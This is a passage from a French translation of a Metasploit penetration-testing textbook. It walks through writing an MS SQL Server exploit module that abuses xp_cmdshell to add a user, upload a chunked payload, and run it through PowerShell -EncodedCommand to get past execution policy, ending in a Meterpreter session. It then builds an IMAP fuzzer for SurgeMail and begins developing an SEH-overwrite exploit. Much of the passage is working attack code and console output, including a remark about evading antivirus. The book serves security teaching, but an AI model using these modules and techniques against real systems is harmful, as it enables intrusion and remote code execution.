dexcuter en . Par exemple, une tentative dajout dutilisateur au
systme sexcuterait dans MS SQL comme EXEC master..xp_cmdshell
net user metasploit p@55w0rd! /ADD si la variable cmd a t dfinie
comme net user metasploit p@55w0rd! /ADD.
Portez maintenant votre attention sur mssql_commands.rb, o sont
stockes les commandes pour activer la procdure xp_cmdshell :
# ractivez la procdure stocke xp_cmdshell dans les versions 2005 et
2008
def mssql_xpcmdshell_enable(opts={});
"exec master.dbo.sp_configure show advanced
options,1;RECONFIGURE;exec master.dbo.sp_configure xp_cmdshell,
1;RECONFIGURE;"?
Ici, vous pouvez voir la squence de commandes en mise pour
ractiver la procdure stocke xp_cmdshell dans MS SQL Server 2005 et
2008.
Maintenant que vous comprenez les fonctions que nous utiliserons pour
crer notre propre module, mettons-nous louvrage.
Cration dun nouveau module
Supposons que vous travailliez sur un pentest et que vous rencontriez un
systme excutant SQL Server 2008 et Microsoft Server 2008 R2.
Puisque Microsoft a enlev debug.exe sous Windows 7 x64 et Windows
Server 2008, ces systmes ne vous autoriseraient pas convertir des
excutables de faon traditionnelle comme dfini au Chapitre 11. Cela
signifie que vous devez crer un module qui vous permettra dattaquer
avec succs Microsoft Server 2008 et linstance SQL Server 2008.
Nous ferons certaines suppositions pour les besoins du scnario.
Premirement, vous avez dj devin que le mot de passe du Serveur
SQL est vide, et vous avez obtenu laccs la procdure stocke
xp_cmdshell. Vous devez dlivrer un payload Meterpreter au systme,
mais tous les ports sauf le 1433 sont ferms. Vous ne savez pas si cest un
firewall physique qui est en place ou si cest le firewall intgr de
Windows qui est utilis, mais vous ne voulez pas modifier la liste des ports
ou arrter le firewall car cela pourrait veiller des soupons.
Powershell
Windows PowerShell est notre seule option viable ici. PowerShell est un
langage de script Windows complet qui permet daccder au framework
Microsoft .NET depuis la ligne de commande. La communaut active de
Powershell travaille au dveloppement de loutil, pour en faire un outil de
qualit pour les professionnels de la scurit grce sa polyvalence et sa
compatibilit avec .NET. Nous nallons pas rentrer dans le
fonctionnement de PowerShell et de ses fonctions, mais vous devez savoir
que cest un langage de programmation parfaitement accompli et
disponible pour vous sur les systmes dexploitation les plus rcents.
Nous allons crer un nouveau module qui utilisera Metasploit pour
convertir le code binaire en hexadcimal (ou Base64 si vous le dsirez)
et pour lafficher sur le systme dexploitation sous-jacent. Aprs, nous
utiliserons PowerShell pour restaurer lexcutable au format binaire afin
que vous puissiez lexcuter.
Pour commencer, nous crons un texte standard en copiant lexploit
mssql_payload comme suit :
root@bt:/opt/framework3/msf3# cp
modules/exploits/windows/mssql/mssql_payload.rb
modules/exploits/windows/mssql/mssql_powershell.rb
Aprs, nous ouvrons le fichier mssql_powershell.rb que nous venons de
crer et modifions son code pour quil ressemble ce qui suit. Cest un
exploit de base en shell. Prenez du temps pour vrifier les diffrents
paramtres et vous rappeler les sujets traits dans les chapitres
prcdents.
require msf/core # requte des librairies centrales

class Metasploit3 < Msf::Exploit::Remote # dfinir comme exploit
distance
Rank = ExcellentRanking # exploit de trs bon rang

include Msf::Exploit::Remote::MSSQL # inclure la librairie
mssql.rb

def initialize(info = {}) # initialisation du modle de base
super(update_info(info,
Name
=> Microsoft SQL Server PowerShell
Payload,
Description => %q{

This module will deliver our payload
through Microsoft PowerShell
using MSSQL based attack vectors.
},
Author
=> [ David Kennedy "ReL1K"
<kennedyd013[at]gmail.com>],
References =>
[
[ URL, http://www.secmaniac.com ]
],
Platform => win, # cible uniquement Windows

Targets =>

[

[ Automatic, { } ], # cible automatique

],

DefaultTarget => 0

))

register_options( # enregistrement des options parmi lesquelles #
lutilisateur doit choisir
[

OptBool.new(UsePowerShell,[ false, "Use PowerShell as
payload delivery method instead", true]), # Utiliser
PowerShell par dfaut

])

end

def exploit # On dfinit notre exploit ; a ne fait encore rien pour #
linstant

handler # appel du handler Metasploit

disconnect # dconnection une fois le handler lanc
end

end

Avant que cet exploit ne fonctionne correctement, vous aurez besoin de
configurer quelques paramtres de base. Remarquez que le nom, la
description, la licence et les rfrences sont dfinis en . Nous indiquons
galement la plateforme en (Windows) et la cible en (tout systme).
Nous dfinissons aussi un nouveau paramtre appel UsePowerShell en
utiliser dans le corps de lexploit. Enfin, un handler est spcifi en
pour grer les connexions entre lattaquant et la cible exploite.
Excuter lexploit shell
Une fois le squelette de lexploit construit, nous lexcutons via
msfconsole pour voir les options disponibles :
msf > use windows/mssql/mssql_powershell
msf exploit(mssql_powershell) > show options

Module options:

Name
Current
Setting
----
----------
-----
-------- -----------
PASSWORD no
username
USERNAME sa no The username to authenticate as
UsePowerShell true no
Use PowerShell as payload
delivery method instead
La commande show options affichera nimporte quelles options nouvelles
qui ont t ajoutes un exploit (voir Chapitre 5). Aprs que ces options
ont t initialises, elles sont stockes dans Metasploit comme des options
valides.
Maintenant, nous allons finaliser le fichier mssql_powershell.rb que nous
avons dit depuis le dbut de ce chapitre avant dditer mssql.rb (ce qui
sera expliqu brivement).
Quand vous examinerez les exploits dans le dossier Modules lintrieur
de Metasploit (modules/exploits, modules/auxiliary/, et ainsi de suite),
vous remarquerez que la plupart ont la mme structure gnrale
(lexploit def est un exemple). Pensez toujours commenter votre code
pour expliquer aux autres dveloppeurs ce quils font ! Dans le listing
suivant, nous introduisons dabord notre ligne def exploit, qui dfinit ce
que nous allons faire avec cet exploit. Nous allons lencadrer de la mme
manire que les autres modules et ajouter quelques nouvelles sections,
comme expliqu ci-aprs :

def exploit

# si login et pass ne marchent pas, erreur
if(not mssql_login_datastore)
print_status("Invalid SQL Server credentials")

return

end

# utiliser la mthode Powershell pour dlivrer le payload
if (datastore[UsePowerShell])
powershell_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded))

end
handler
disconnect
end
end
Le module vrifie dabord si nous sommes connects en . Si nous ne le
sommes pas, le message derreur Invalid SQL Server Credentials
saffiche. La mthode UsePowerShell en est utilise pour appeler la
fonction powershell_upload_exec , ce qui crera automatiquement un
payload Metasploit que lon spcifie durant notre exploit. Une fois
lexploit lanc, quand nous spcifierons notre payload dans msfconsole, il
sera gnr automatiquement, grce loption
Msf::Util::EXE.to_win32pe(framework,payload.encoded).
Crer powershell_upload_exec
Maintenant nous allons ouvrir le fichier mssql.rb, ouvert prcdemment
afin dtre prt lditer. Nous devons trouver de la place pour stocker
la fonction powershell_upload_exec.
root@bt:/opt/framework3/msf3# nano lib/msf/core/exploit/mssql.rb
Dans votre version de Metasploit, vous pouvez faire une recherche pour
PowerShell et devriez voir le code de rfrence qui suit dans le fichier
mssql.rb. Nhsitez pas supprimer ce code du fichier et le
recommencer du dbut.
# Upload et excution dun binaire Windows via des requtes SQL et
PowerShell
def powershell_upload_exec(exe, debug=false)

# hex converter
hex = exe.unpack("H*")[0]
# cration alatoire de noms alpha de 8 caractres
var_payload = rand_text_alpha(8)

print_status("Warning: This module will leave #
{var_payload}.exe in the SQL
Server %TEMP% directory")
En , vous voyez que notre dfinition inclut la commande exe et les
paramtres de debug qui sont ajouts la fonction def
powershell_upload_exec. La commande exe est lexcutable que nous
enverrons partir de notre code original
Msf::Util::EXE.to_win32pe(framework,payload.encoded), comme
mentionn prcdemment. La commande debug est rgle sur false, ce
qui veut dire que nous nallons pas avoir dinformation de debug.
Gnralement, elle sera initialise true pour que des traces
supplmentaires pour la recherche derreur soient visibles.
Puis, en , nous convertissons tout lexcutable encod au format
hexadcimal brut. Le H dans cette ligne veut simplement dire "ouvrez le
fichier en tant que fichier binaire et convertissez-le dans une
reprsentation hexadcimale".
En , nous allons crer un nom de fichier alatoire, alphabtique, huit
caractres. Il vaut gnralement mieux choisir ce nom de manire
alatoire afin de tromper le logiciel antivirus.
Et finalement, en , nous informons lattaquant que notre payload restera
sur le systme dexploitation, dans le rpertoire /Temp du SQL Server.
Convertir Hex en binaire
Le listing suivant montre la reconversion de lhexadcimal en binaire,
crit en PowerShell. Le code est dfini comme une chane qui devra tre
appele plus tard et uploade sur la machine cible.
h2b = "$s = gc C:\\Windows\\Temp\\#{var_payload};$s =

[string]::Join(, $s);$s= $s.Replace(r,); $s =
$s.Replace(n,);$b = new-object byte[]
$($s.Length/2);0..$($b.Length-1) | %{$b[$_] =
[Convert]::ToByte($s.Substring($($_*2),2),16)};
[IO.File]::WriteAllBytes(C:\\Windows\\Temp\\#
{var_payload}.exe,$b)"

h2b_unicode=Rex::Text.to_unicode(h2b)

# lencodage en base64 permet de dexcuter via PowerShell sans
# changement dans le registre
h2b_encoded = Rex::Text.encode_base64(h2b_unicode)

print_status("Uploading the payload #{var_payload}, please be

patient...")
En , nous crons la mthode de conversion hexadcimale binaire
(h2b) via PowerShell. Ce code cre essentiellement un tableau doctets
qui rcrira le payload Metasploit crit en hexadcimal en fichier
binaire (le {var_payload} est un nom alatoire spcifi via Metasploit).
Parce que MS SQL a des restrictions sur le nombre de caractres, nous
devons dcouper notre payload hexadcimal en fragments de 500 octets
qui sparent le payload en de multiples requtes. Mais un effet
secondaire de cette sparation est que des retours chariots et sauts de
ligne (CRLF) sont ajouts au fichier sur la cible, et nous avons besoin de
les retirer, ce que nous faisons en . Si nous ne le faisions pas, notre
binaire serait corrompu et ne sexcuterait pas correctement. Remarquez
que nous sommes simplement en train de raffecter les variables $s pour
remplacer r et n avec (rien). Cela supprime efficacement les CRLF.
Une fois les CRLF retirs, Convert::ToByte est invoqu dans le payload
Metasploit crit en hexadcimal. On dit PowerShell que le format de
fichier est en base 16 (format hexadcimal) et de lcrire en sortie dans
un fichier appel #{var_payload}.exe (notre nom alatoire de payload).
Aprs que le payload a t crit, nous pouvons lancer une mthode pour
excuter des commandes PowerShell dans un format encod qui est
support par le langage de programmation PowerShell. Ces commandes
encodes permettent dexcuter de longues et grandes quantits de code,
en une seule ligne.
En convertissant dans un premier temps la chane h2b () en Unicode,
puis en encodant en Base64 la chane rsultante en , on peut passer le
flag -EncodedCommand PowerShell pour bypasser les restrictions
dexcution qui existeraient en temps normal. Les politiques de restriction
dexcution nautorisent pas lexcution de scripts illgitimes. Elles sont
importantes pour protger les utilisateurs de lexcution de nimporte quel
script quils auraient tlcharg sur Internet. Si nous nencodions pas ces
commandes, nous ne pourrions excuter notre code PowerShell et, au
final, nous ne serions pas capables de compromettre le systme cible.
Lencodage des commandes permet dajouter beaucoup de code dans
une seule commande sans se soucier des politiques de restriction
dexcution.
Aprs avoir spcifi la chane h2b et les indicateurs dencodage de
commande, nous rcuprons la commande PowerShell dans le bon format
encod pour excuter le code PowerShell dans un format non restreint.
En , la chane de commandes a t convertie en Unicode ; cest
ncessaire pour que les arguments et les informations soient transmis au
PowerShell. Le code h2b_encoded =
Rex::Text.encoded_base64(h2b_unicode) est alors excut afin de
convertir la chane au format unicode en une chane code en Base64,
qui sera envoye MS SQL. Base64 est lencodage ncessaire pour tirer
profit du flag -EncodedCommand. Nous avons donc tout dabord converti
notre chane de commandes en Unicode, puis en Base64, qui est le format
dont nous avons besoin pour nos commandes Powershell. Enfin, en un
message indiquant que nous sommes en train duploader le payload
sinscrit dans la console.
Compteurs
Les compteurs vous aident vous reprer dans un fichier, ou suivre la
quantit de donnes que le programme a lues. Dans lexemple qui suit, un
compteur de base appel idx commence 0. Il est utilis pour identifier la
fin du fichier et sincrmenter de 500 octets lorsque le binaire cod en
hexadcimal est envoy au systme dexploitation. Fondamentalement, le
compteur indique "Lis 500 octets, puis envoie-les. Lis 500 autres octets, et
envoie-les", jusqu ce quil arrive la fin du fichier.
idx=0
cnt = 500
while(idx < hex.length - 1)

mssql xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#
{var_payload]", false)
idx += cnt
end
print_status("Converting the payload utilizing PowerShell

EncodedCommand...")

mssql_xpcmdshell("powershell -EncodedCommand #
{h2b_encoded}", debug) mssql_xpcmdshell("cmd.exe /c del
%TEMP%\\#{var_payload}", debug)
print_status("Executing the payload...")

mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false,
{:timeout => 1})
print_status("Be sure to cleanup #{var_payload}.exe...")
end
Souvenez-vous que pour envoyer le payload au systme dexploitation,
nous devons le dcouper en morceaux de 500 octets. On utilise alors les
compteurs idx et cnt pour surveiller la faon dont le payload est
dcoup. Le compteur idx va augmenter de faon graduelle par sauts de
500, et nous rglons le compteur cnt 500 (nous devons lire 500 octets
la fois). Une fois que la premire srie de 500 octets a t lue par le
payload Metasploit en , les 500 caractres[6] hexadcimaux sont
envoys la machine cible. Les paquets de 500 octets continuent dtre
ajouts jusqu ce que le compteur idx atteigne la mme longueur que le
payload, ce qui quivaut la fin du fichier.
En , nous apercevons un message indiquant que le payload est en train
dtre converti et envoy la cible grce la commande PowerShell -
EncodedCommand. Cest ici que la conversion, de la commande normale
Powershell un format encod Base64, se produit.
La ligne powershell -EncodedCommand #{h2b_encoded} indique que le
payload a t excut. Les commandes PowerShell que nous avions
converties en Base64 reconvertiront le payload en hexadcimal en
binaire une fois quil aura t excut.
Ci-aprs, lintgralit du fichier mssql.rb :
#
# Upload et excution dun binaire Windows via des requtes MS SQL
et Powershell[7]
def powershell_upload_exec(exe, debug=false)
# convertisseur hex
hex = exe.unpack("H*")[0]
# cration dun nom alatoire de 8 caractres alpha
#var_bypass = rand_text_alpha(8)
var_payload = rand_text_alpha(8)

print_status("Warning: This module will leave #{var_payload}.exe in
the SQL Server %TEMP% directory")

# Notre convertisseur de payload prend un fichier hexadcimal et le
convertit en binaire via PowerShell

h2b = "$s = gc C:\\Windows\\Temp\\#{var_payload};$s =
[string]::Join(, $s);$s = $s.Replace(r,); $s =
$s.Replace(n,);$b = new-object
byte[]$($s.Length/2);0..$($b.Length-1) | %{$b[$_] =
[Convert]::ToByte($s.Substring($($_*2),2),16)};
[IO.File]::WriteAllBytes(C:\\Windows\\Temp\\#
{var_payload}.exe,$b)"
h2b_unicode=Rex::Text.to_unicode(h2b)

# lencodage en base64 permet de dexcuter via PowerShell sans
changement dans le registre
h2b_encoded = Rex::Text.encode_base64(h2b_unicode)

print_status("Uploading the payload #{var_payload}, please be
patient...")
idx = 0
cnt = 500

while(idx < hex.length - 1) mssql_xpcmdshell("cmd.exe /c echo #
{hex[idx,cnt]}>>%TEMP%\\#{var_payload}",false) idx += cnt
end

print_status("Converting the payload utilizing PowerShell
EncodedCommand...")

mssql_xpcmdshell("powershell -EncodedCommand #
{h2b_encoded}", debug)

mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}",
debug)
print_status("Executing the payload...")

mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout
=> 1})
print_status("Be sure to cleanup #{var_payload}.exe...")
end
Excuter lexploit
Une fois notre travail sur mssql_powershell.rb et mssql.rb fini, nous
pouvons excuter lexploit travers Metasploit et msfconsole. Mais avant
de le faire, nous devons tre srs que PowerShell est install. Ensuite,
nous pourrons lancer les commandes suivantes pour excuter lexploit
que nous venons de crer.
msf > use windows/mssql/mssql_powershell
msf exploit(mssql_powershell) > set payload
msf exploit(mssql_powershell) > set LHOST 172.16.32.129
LHOST => 172.16.32.129
msf exploit(mssql_powershell) > set RHOST 172.16.32.136
RHOST => 172.16.32.136
msf exploit(mssql_powershell) > exploit

[*]
Warning: This module will leave CztBAnfG.exe in the SQL Server
%TEMP% directory
[*] Uploading the payload CztBAnfG, please be patient...
[*] Converting the payload utilizing PowerShell EncodedCommand...
[*] Executing the payload...
[*] Be sure to cleanup CztBAnfG.exe...
[*]
172.16.32.136:49164) at 2010-05-17 16:12:19 0400

meterpreter >
Ce procd de rutiliser un code prexistant, de le modifier et dy ajouter
du code original est une des choses les plus puissantes que lon peut faire
avec Metasploit. Dans la plupart des situations, vous navez aucune
raison de recommencer votre code au dbut si vous avez un peu compris
le framework et jet un coup dil sur le fonctionnement du code
existant. Parce que ce module a essentiellement t cr pour vous, vous
pouvez vous entraner encore plus via dautres modules Metasploit en
regardant ce quils font et comment ils fonctionnent. Vous allez
commencer apprendre les bases des buffers overflows et la manire
dont ils sont crs. Notez comment est structur le code et comment il
fonctionne et ensuite crez vos propres exploits de zro. Si vous ntes
pas laise avec le langage de programmation Ruby ou si ce chapitre
vous est un peu pass au-dessus, prenez un livre, lisez et apprenez. La
meilleure manire dapprendre crer ces modules de dveloppement se
trouve dans lessai et dans lerreur.
14
Crer votre propre exploit
Sommaire
Lart du fuzzing
Contrler le SEH (Structured Exception Handler)
Contourner les restrictions du SEH
Trouver une adresse de retour
Mauvais caractres et excution du code distance
En tant que pentester, vous rencontrerez souvent des logiciels pour
lesquels aucun module Metasploit nest disponible. Dans de telles
situations, vous pouvez essayer de dcouvrir des vulnrabilits dans les
applications et dvelopper vos propres exploits pour celles-ci.
Lune des faons les plus simples de dcouvrir une vulnrabilit est de
fuzzer lapplication. Le fuzz testing est le fait denvoyer des donnes
invalides, inattendues, mal agences ou alatoires lapplication et de
surveiller les ractions, comme des crashs. Si une vulnrabilit est
dcouverte, vous pouvez commencer travailler sur lcriture dun
exploit pour celle-ci. Le fuzzing est un vaste domaine, et des ouvrages
entiers ont t crits ce sujet. Nous voquerons brivement le sujet
avant daller de lavant et de dvelopper un module dexploit qui
fonctionne.
Dans ce chapitre, nous vous accompagnerons dans le processus de
fuzzing et de dveloppement dexploit, en utilisant une vulnrabilit
connue dans NetWin SurgeMail 3.8k4-4, dcouverte par Matteo Memelli
(ryujin) et disponible sur http://www.exploit-db.com/exploits/5259/. Cette
application avait une vulnrabilit qui lui faisait mal grer les longues
commandes LIST, provoquant un stack overflow qui permettait un
attaquant dexcuter du code distance.
Note
Ce chapitre part du principe que vous connaissez le dveloppement
dexploit et que vous tes laise avec le concept de buffer overflow et
lutilisation dun debugger. Si vous avez besoin dun rafrachissement de
vos connaissances, vous trouverez dexcellents tutoriels par corelanc0d3r
sur le site Exploit Database, http://www.exploit-db.com/. Au minimum,
considrez la lecture dExploit Reading Tutorial Part 1: Stack Based
Overflows (http://www.exploit-db.com/download_pdf/13535/) et
dExploit Writing Tutorial Part 3: SEH (http://www.exploit-
db.com/download_pdf/13537/) comme indispensable.
Lart du fuzzing
Avant que vous ne dveloppiez un exploit, vous aurez besoin de
dterminer si une vulnrabilit existe dans lapplication. Cest l que le
fuzzing entre en jeu.
Le listing suivant montre le code dun simple fuzzer dIMAP (Internet
Message Access Protocol). Sauvez-le dans votre rpertoire
/root/.msf3/modules/auxiliary/fuzzers/ mais assurez-vous de garder vos
modules de test dans un dossier spar du tronc principal de Metasploit.
require msf/core
include Msf::Exploit::Remote::Imap
include Msf::Auxiliary:os
def initialize
super(
Name => Simple IMAP Fuzzer,
Description => %q{

An example of how to build a simple
IMAP fuzzer.

Account IMAP credentials are required
in this fuzzer.},
Author => [ ryujin ],
Version => $Revision: 1 $
)
end
def fuzz_str()

return
Rex::Text.rand_text_alphanumeric(rand(1024))
end
def run()
srand(0)
while (true)
connected = connect_login()
if not connected

print_status(Host is not responding - this is
G00D )
break
end
print_status("Generating fuzzed data...")
fuzzed = fuzz_str()
print_status("Sending fuzzed data, buffer length =
%d" % fuzzed.length)

req = 0002 LIST () "/ + fuzzed + " "PWNED" +
"\r\n"
print_status(req)
res = raw_send_recv(req)
if !res.nil?
print_status(res)
else

print_status(Server crashed, no
response) break
end
disconnect()
end
end
end
Le module de fuzzer commence par importer les classes dIMAP et de
dni de service . Inclure lIMAP vous donne les fonctionnalits de login
requises, et comme le but du fuzzer est de crasher le serveur, ce module
entranera un dni de service.
En , la chane de fuzz (les donnes mal formes que nous envoyons) est
dfinie comme une chane alatoire de caractres alphanumriques
dune longueur maximale de 1 024 octets.
Le fuzzer se connecte et sauthentifie sur le service distant en . Sil
choue dans la connexion et que la boucle se termine, vous avez alors
une piste intressante suivre. Labsence de rponse du serveur peut
vouloir dire que vous avez russi causer une exception dans le service
distant.
En , la variable fuzzed est initialise laide de la chane alatoire
gnre par le Framework, et on construit la requte malicieuse selon
le code de lexploit publi en ajoutant les donnes malicieuses la
commande LIST vulnrable. Si le fuzzer ne reoit pas de rponse du
serveur, il affiche le message "Server crashed, no response" et se
termine.
Pour tester votre nouveau fuzzer, dmarrez msfconsole, chargez le
module et dterminez ses options comme suit :
msf > use auxiliary/fuzzers/imap_fuzz
msf auxiliary(imap_fuzz) > show options

Module options:

Name
Current
Setting
----
-------------
--
-------- -----------
IMAPPASS no
username
IMAPUSER no The username to authenticate as

msf auxiliary(imap_fuzz) > set IMAPPASS test
IMAPPASS => test
msf auxiliary(imap_fuzz) > set IMAPUSER test
IMAPUSER => test
msf auxiliary(imap_fuzz) > set RHOST 192.168.1.155
RHOST => 192.168.1.155
msf auxiliary(imap_fuzz) >
Le fuzzer devrait maintenant tre prt. Assurez-vous que le debugger de
votre choix (ici, nous utilisons Immunity Debugger) est attach au
procd surgemail.exe, et dmarrez le fuzzer :
msf auxiliary(imap_fuzz) > run
[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 684
[*]
0002 LIST ()
"/v1AD7DnJTVykXGYYM6BmnXuYRlZNIJUzQzFPvASjYxzdTTOngBJ5gfK0XjLy3
ciAAk1Fmo0RPEpq6f4BBnp5jm3LuSbAOj1M5qULEGEv0DMk0oOPUj6XPN1VwxFpj
AfFeAxykiwdDiqNwnVJAKyr6X7C5ije7DSujURybOp6BkKWroLCzQg2AmTuqz48o
NeY9CDeirNwoITfIaC40Ds9OgEDtL8WN5tL4QYdVuZQ85219Thogk775GVfNH4YPp
So2PLmvd5Bf2sY9YDSvDqMmjW9FXrgLoUK2rl9cvoCbTZX1zuU1dDjnJJpXDuays
DfJKbtHn9VhsiiYhFokALiF1QI9BRwj4bo0kwZDn8jyedxhSRdU9CFlMs19CvbVnn
LWeRGHScrTxpduVJZygbJcrRp6AWQqkeY0DzI4bd7uXgTIHXN6R403ALckZgqOWcU
SEWj6THI9NFAIPP1LEnctaK0uxbzjpS1ize16r388StXBGq1we7Qa8j6xqJsN5GmnI
N4HQ4W4PZIjGRHUZC8Q4ytXYEksxXe2ZUhl5Xbdhz13zW2HpxJ2AT4kRU1wDqBUkE
QwvKtoebrfUGJ8bvjTMSxKihrDMk6BxAnY6kjFGDi5o8hcEag4tzJ1FhH9eI2UHDV
bsDmUHTfAFbreJTHVlcIruAozmZKzi7XgTaOgzGh" "PWNED"
[*] 0002 OK LIST completed
. . . SNIP . . .
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 1007
[*]
0002 LIST ()
/FzwJjIcL16vW4PXDPpJbpsHB4p7Xts9fbaJYjRJASXRqbZnOMzprZfVZH7BYvcHuwlN0YqyfoCrJyobzOqoscJeTeRgrDQKA8MDDLbmY6WCQ6XQH9Wkj4c9JCfPjIqTndsocWBz1xLMX1VdsutJEtnceHvhlGqee6Djh7v3oJW4tXJMMxe8uR2NgBlKoCbH18VTR8GUFqWCmQ0970B3gR9foi6inKdWdcE6ivbOHElAiYkFYzZ06Q5dvza58DVhn8sqSnRAmq1UlcUGuvr6r99POlrZst10r606J2B03TBGDFuy0dNMI0EUANKZ6OnCn3Zk1JL659MC8PZy0frCiPBqZ4xn0biAjFTH5LsCjIFuI5eZ9LsdXdek7iiOhEmW6D86mAtyg9S1a7RALrbRcLIHJpwMsEE5LS1wIV9aFPS6RQwI4DtF4bGSle1FCyf63hy3Vo8AKkId6yu5MfjwfUExandVeUldk8c5bhlyqoDp3UX2ClQPZos0KpFoIcxmq8R0E3Ri54l5Yl3OPcN7U20Kb1CEAfbhxGFgh1oMzjJpuM7IbHMrZNjVADz6A0byzgiP2pXa7ZmOloV9u6Fwa0l6sR6oL0Png9MYNwTMXTUdiE7rOjuOmkdgglPTkZ3n4de1FEaLh8Xhf9SNSPZUX0M7gmUiyNYv6qti3Omy8qvjJOQui1IhUhf5fKOunKIcB5Zw7quznxV1GF2R5hXVTw1vlbMi5TQW68ZDFlD6q6BJ4S3oNrFCyXXaQpAURyCoDGdjoxk1vrUPGusf3i4EIF2iqyyekWiQ7GuYcwMax3o0ZXB2djFh2dYEGyBSCHaFhpwUgamThinnMAsDFuEY9Hq9UOQSmZ6ySunifPFjCbDs4Zooquw0HPaVnbNVo97tfVBYSei9dWCUWwUAPVJVsTGoDNRVarOrg8qwbziv8aQaPZ7Y8r0SUiB1nNhlhl3UCVZpf8Gck0psjETf4ks356q0I3mLZkqCLkznVV4ayetVgaDm
PWNED
[*] Server crashed, no response
msf auxiliary(imap_fuzz) >
Dans ce listing, le fuzzer se connecte et sauthentifie au serveur distant
en et gnre une chane alatoire de texte en . En , la requte
malicieuse est envoye au serveur, la rponse est reue et affiche en .
Si le serveur ne retourne pas de rponse, vous recevez la notification en
que le serveur a crash, ce qui est votre signal pour aller vrifier votre
debugger.
Si vous vrifiez maintenant votre debugger sur la cible Windows, vous
devriez voir quil a fait une pause au point de crash (voir Figure 14.1). En
regardant le crash, nous pouvons voir quaucune adresse mmoire na
t rcrite et que, malheureusement, il ny a rien dexploitable au
premier coup dil. Aprs avoir jou avec laugmentation des tailles de
buffer, vous trouverez quen envoyant une chane plus longue de
11 000 octets, vous pouvez craser le SEH (Structured Exception
Handler). Contrler le SEH rend lexploit plus sr, parce quil le rend
plus polyvalent. De manire similaire, lutilisation dune application DLL
pour une adresse de retour rend lexploit portable travers diffrentes
versions du systme dexploitation.
Figure 14.1
Le debugger pause au point de crash.
Pour envoyer la chane de 11 000 octets, nous faisons un petit
changement dans le code du fuzzer, comme montr ci-aprs :
fuzzed = "A" * 11000
print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length)
req = 0002 LIST () "/ + fuzzed + " "PWNED" + "\r\n"
Plutt que dutiliser une chane alatoire de caractres, cette modification
de code envoie une chane de 11 000 "A" en tant que requte malicieuse.
Contrle du SEH
Si vous relancez le service surgemail, rattachez le debugger au service
et retournez sur le module, vous devriez voir le crash que le fuzzing a
provoqu dans votre debugger. Si vous utilisez Immunity Debugger, vous
devriez pouvoir voir le contenu de la structure SEH en slectionnant
View > SEH chain. Faites un clic droit sur la valeur, qui devrait tre
41414141, et slectionnez Follow address in stack pour afficher le
contenu de la pile qui conduit la rcriture du SEH dans le panneau en
bas droite (voir Figure 14.2).
Figure 14.2
Lentre SEH rcrite.
Maintenant que vous savez que vous pouvez contrler la structure SEH
sur le processus vulnrable surgemail avec un buffer trop long, il est
temps de dterminer la longueur exacte ncessaire pour la rcrire sur la
cible. Nous lavons vu lors de notre tude du dveloppement des exploits
autonomes, avant de pouvoir utiliser ladresse de retour, vous avez besoin
de savoir o, prcisment, la rcriture se fait.
Nous pouvons modifier notre fuzzer pour crer une chane alatoire non
rcurrente dune taille spcifique :
fuzzed = Rex::Text.pattern_create(11000)
req = 0002 LIST () "/ + fuzzed + " "PWNED" + "\r\n"
Dans cet extrait, nous utilisons Rex::Text.pattern_create pour gnrer la
chane de caractres alatoires non rcurrents avec notre fuzzer.
Relancer le fuzzer maintenant permet de voir que le SEH est rcrit sur
la cible avec 684E3368 (voir Figure 14.3).
Figure 14.3
Le SEH rcrit avec des caractres alatoires.
Avec le SEH rcrit avec nos caractres alatoires, nous pouvons utiliser
pattern_offset.rb dans /opt/metasploit3/msf3/tools/ pour dterminer
exactement o lcrasement a eu lieu en passant les caractres
intressants (684E3368) suivis par la taille de la chane envoye la cible
(11000) :
root@bt:~/.msf3/modules/auxiliary/fuzzers#/opt/metasploit3/msf3/tools/pattern_offset.rb
684E3368 11000
10360
La valeur 10360 signifie que les quatre octets qui rcrivent le SEH sont
10361, 10362, 10363 et 10364. Nous pouvons maintenant changer le code
du fuzzer une dernire fois pour vrifier notre dcouverte :
fuzzed = "\x41" * 10360 fuzzed << "\x42" * 4 fuzzed << "\x43" * 636
Comme prvu, le fuzzer va construire la requte malicieuse en
commenant par 10360 "A", suivis de 4 "B" (42 en hexadcimal) pour
craser le SEH, puis 636 "C" (43 en hexadcimal) pour remplir la chane
de caractres afin de garder sa longueur constante de 11 000 octets.
En relanant le fuzzer contre la cible, on saperoit que toute la chane
SEH est sous notre contrle (voir Figure 14.4).
Figure 14.4
Le SEH est compltement sous contrle.
Contournement des restrictions du SEH
Aprs que le SEH a t rcrit, il reste trs peu despace pour un
shellcode avant la fin de la pile. Normalement, une suite dinstructions
POP-POP-RETN devrait tre utilise pour atteindre le prochain SEH
(abrviation NSEH pour Next SEH), suivi par un short jump au shellcode.
Nous surpasserons cette restriction de place en dveloppant un exploit
pour utiliser le plus despace possible pour notre payload final. ce
moment-l, nous en avons fini avec le fuzzing et nous allons dvelopper
un exploit pour la vulnrabilit que nous avons trouve.
Cet exploit serait un bon candidat pour un egg hunter, qui est un petit bout
de shellcode qui cherche en mmoire le payload principal. Cependant,
nous utiliserons une tactique diffrente et rcrirons le SEH avec un
pointeur dinstruction POP-POP-RETN. Ensuite, nous ferons un short
jump en arrire qui ncessite trs peu dinstructions (contrairement au
jump en avant). Nous utiliserons enfin lespace gagn avec le short jump
pour excuter le near jump pour sauter encore plus loin en arrire dans le
slide NOP puis le shellcode. Bien que ce ne soit pas requis, un slide NOP
est toujours un bon ajout un exploit, parce quil vous laisse un peu plus
de marge derreur si jamais la position du buffer devait changer dans la
mmoire. Les NOP nauront pas dimpact ngatif sur le code de lexploit
et joueront le rle dun remplisseur. Conceptuellement, lattaque
ressemblera a :
[Buffer of
garbage |
NOP
Slide |
Shellcode
|
Near
Jump |
Short
Jump |
POP-POP-
RETN]
Pour vous assurer de la portabilit de lexploit sur diffrentes versions de
Windows, utilisez une adresse de retour issue dune DLL dapplication
ou dexcutable. Dans ce cas, seul lexcutable de lapplication elle-
mme est disponible, donc vous pouvez essayer daccomplir une
rcriture en trois octets sur le SEH en utilisant une squence
dinstruction POP-POP-RETN depuis le fichier surgemail.exe. Si cela
peut russir, cet exploit sera universel sur toutes les versions de Windows.
Passons la cration de lexploit lui-mme pour la vulnrabilit de
